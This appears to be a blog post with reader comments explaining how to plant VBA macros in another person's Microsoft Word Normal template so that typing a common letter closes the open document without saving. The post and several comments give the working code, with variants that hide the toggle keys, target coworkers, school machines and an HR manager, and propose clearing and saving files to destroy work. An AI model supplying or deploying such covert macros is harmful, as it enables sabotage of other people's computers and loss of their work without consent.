What is the most common letter in the English language? E right? Well, what would you do if every time you typed “E” in Microsoft Word, it closed your word document and didn’t save any of your work. Well you might throw your computer out the window and kill who ever did it to you. This computer prank will drive your office friends crazy. So hell lets do it right?
Step 1: Open up Micro Soft Word
Step2: Press alt F11, this will open up a vba editor for word.
Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.
Step4: Copy and past this code into the document
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
Command:="TestKeybinding"
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub
Step5: Close word
Step6: Enjoy
If you did this correctly the next time they load word this code will be loaded. What it will do is every time the key “E” is pressed, it will close the document and NOT SAVE. You can change the key to anything you like and below I have listed some different key options. Have fun and unleash hell.
Key Options
To change the key from E to something else replace this piece of the code in bold
.KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE)
If you want to use a different letter it is: wdKeyYOURLETTER
If you want to use a key other than a letter or a number, it usualy is the keys name.
Example: wdKeyBackspace
Try out different options, its a lot of fun.
hehe, that’s evil. Think I’ll have to try it out now. My gf is busy cooking dinner and her laptop is right next to me.
hey can someone help me i copied it and pasted it and then i exited then it says save should i safe? and when i save it says[cannot save because ther is no macros wtf help me please
haha kickass time to do it at school!
I had to laugh all the time from top to the last comment. Funny.
Idea & creativity is infinity!
Bad or good is not matters here!
Keep it UP!
My lowercase ‘e’ has broken after using this prank. It worked and then when I removed the code ‘e’ stopped working, uppercase ‘E’ does though. How do I fix this, I’ve tried re-entering the code saving normal, then deleting it again and saving normal again but still ‘e’ doesn’t work!
Any ideas?
hay would this work at my school where you login to a computer using a different user name and password for every student… that would ruin so many peoples work i would enjoy watchen them struggle with trying to fix it and watch our stupid tech try to fix it lol.
Kyle, no it wont. It is bound to their normal template. Plus my intentions aren’t to “HURT” others, but get a good laugh out of it
wtf!
Use OpenOffice!
Microsux, most macros can be changed with very little work to work in open office.
The reason they can be changed is macros aren’t designed to hurt in, but to help, I’m just manipulating common techniques. Most of these pranks I actually used for good before I converted them over.
hello, I have done this prank on my friend, and now I have attempted to fix this, but have managed to rid him of word shutting down, but now, the lowercase “e” will no longer type on his word document. Is there any way to fix this?
Public Sub RemoveKeyBinding()
KeyBindings.Key(BuildKeyCode(wdKeyE)).Clear
End Sub
run that sub
Hey, firstly this sounds ACE
but …. I have word 2007, I press Alt+F11 and nothing happens :s please help.
Laurel, you could change it to be Ctrl, S not just S. Just add a comma after the first key stroke and put the next one. I dont believe there is a limit to how many key combinations either
I ran:
Public Sub RemoveKeyBinding()
KeyBindings.Key(BuildKeyCode(wdKeyE)).Clear
End Sub
but nothing happened and my friend is still unable to use his “e” on microsoft word.
Thanks
i like ctrl+s and passing a true to the close method. that way it just freaks em out.
thnx for the idea
Hah. This looks great.
Does anyone know if this affects the whole computer or just the user who was logged on at the time? Because my sister’s account is on the same comp. as mine, and I want to prank her without pranking myself. =]
Isn’t that maybe just one step too far? I think I’d probably fail to see the funny side of things there…
Oh well, each to their own I suppose.
Ben, that is one of the main reasons I bind it “E” who doesn’t type “E” within the first 20 seconds of typing. If they started the document they woudn’t get far. If it was an old document then it wouldn’t remove their old work….
Thats an evil idea, what if I cleared the document then deleted and saved. So if they had a 20 page paper and started again it would delete it all and clear it. I could of course save the original under another name just for a freak out factor!
I am not sure if this has already been mentioned, but you can do a similar thing on Mac (office 2004), by going to Tools > Macro > Visual Basic Editor, then just entering to code how you would on windoze.
but since this is my computer, I have not tried it yet, I will let someone else find out the hard way…
i am retyping the quotations and everything.
i have even used some of the codes .
i am using ms word 2002
and it isnt working
i am doing everything right
i am just kind of confused on what to
retype in the quotations,
or if i even need the quotations
Idiot
I updated the page so if its not working your just an idiot
What I meant was you are a juvenile moron.
Go out and do something worthwhile with your life.
Paul, what I meant is if you can’t figure this out your an idiot.
As for something worthwhile in my life, where do you think I learned how to program ? Awh Yes at college, then my job where I do something worthwhile with my life…
And this pointless sites revenue is must also be worthless
not sure if this has already been suggested, but here is code for Word 2003, it seems to work for me (retype the ” “)
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add wdKeyCategoryCommand0, TestKeybinding, 69
End Sub
Sub “TestKeybinding”()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub
Private Sub Document_New()
End Sub
ah i coppied what you put up and it didnt work it all just removed the use of the letter i used, tried it on e and t and now i cant use those letters at all, i deleted the script and saved it and i still dont have the use of them
@Brayden
Oh the prank works, but to remove it use this code
Public Sub RemoveKeyBinding()
KeyBindings.Key(BuildKeyCode(wdKeyE)).Clear
End Sub
Thanks
I have a new project for some stick in the muds at work.
Use this code to be able to turn it on and off. You have to run the CommenceAggravation and RemoveAggravation macros to get it rolling. After that, F1 turns it on and F2 turns it off. Remember to clear any previous keybinding you had by running the DisableKeybinding macro. If you don’t, the key won’t work. Just modify the macro for whatever key you want to reset and run it. Then switch it back. I have it setup to be triggered by the letter u since it’s common and not obvious like a spacebar. To run the macros click view/toolbars/visual basic and click the play button to access them. Make sure you remove the toolbar when your done or they will notice it. You can turn it on and off with one key and they will think they’re crazy. Have fun.
Sub CommenceAggravation()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyF1), KeyCategory:=wdKeyCategoryCommand, _
Command:=”EnableKeybinding”
End Sub
Sub RemoveAggravation()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyF2), KeyCategory:=wdKeyCategoryCommand, _
Command:=”DisableKeybinding”
End Sub
Sub EnableKeybinding()
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyU), KeyCategory:=wdKeyCategoryCommand, _
Command:=”ShutEmDown”
End Sub
Public Sub DisableKeyBinding()
KeyBindings.Key(BuildKeyCode(wdKeyU)).Clear
End Sub
Sub ShutEmDown()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub
great. now that I got it working, how do i make it stop?
You can manually run the “disablekeybinding” macro or you can press F2 while in MS Word. That disables it. You can press F1 while in MS Word to turn it back on. When you want to remove it off the computer completely, run the “disablekeybinding” macro before you delete all the code. If you don’t that key won’t work. If that happens just re-enter the text for the “disablekeybinding” macro and set it to whatever key you want to fix. Ex.( If you want to clear the binding for the space bar key, make the one code line read….KeyBindings.Key(BuildKeyCode(wdKeySpacebar)).Clear
[...] word document and didn’t save any of your work. Funny huh. Only if you’re a jerk like me. step 1…http://www.iambetterthanu.com/2007/11/22/microsoft-word-prank/MS05-031: Vulnerability in step-by-step interactive training could …Microsoft word 2000 step by [...]
Really cool would be if you could use a word instead of just a letter, so that whenever they typed your last name (or theirs), Word would quit. This would be for the human resource manager’s computer. They would never figure out why they aren’t able to add documents to your file. Awesomely cool would be if this same function could be added to Microsoft Outlook and Outlook Express.
I am glad we use Macs at our house. What a childish and MEAN thing to do
f5 makes the program run. and if you delete the code if you press f5, it will stay deleted
Oops! that’s going to be the wrong way of fun…
thats not nice but it looks like fun
What is even better is to change the font size to a random size between 6 and 12. They won’t lose any information but will spend at least a half hour trying to figure out what is happening and their call everyone their cubicle. You could also change the color of the text, font style, etc…
(VBA is fun…)
This is awesome, ive just done it on my girlfriend and she threw her laptop across the room and now its broke and she’s crying her eyes out hahahahahahahahaha!!! thank you!!! hahaha
plop u suck i love brendan
I just done this to my brother, man is he #@#@& mad.
ahahahahaa don’t piss me off i’ll change your ‘e’ http://tinyurl.com/2qxwmj
How sopho-moronic, witless, absurd, and off the radar screen of sanity.
Are there no bowling lanes left in your community?
What next, a auto insurance company TV commercial?
I like cheese
this didn’t work, F11 did nothing. what am i doing wrong?
This is regarding wiseguy’s code involving the F1 and F2 commands. The F1 command works, but sadly the F2 doesn’t. What could be the problem?
this….is….GENIUS!!!!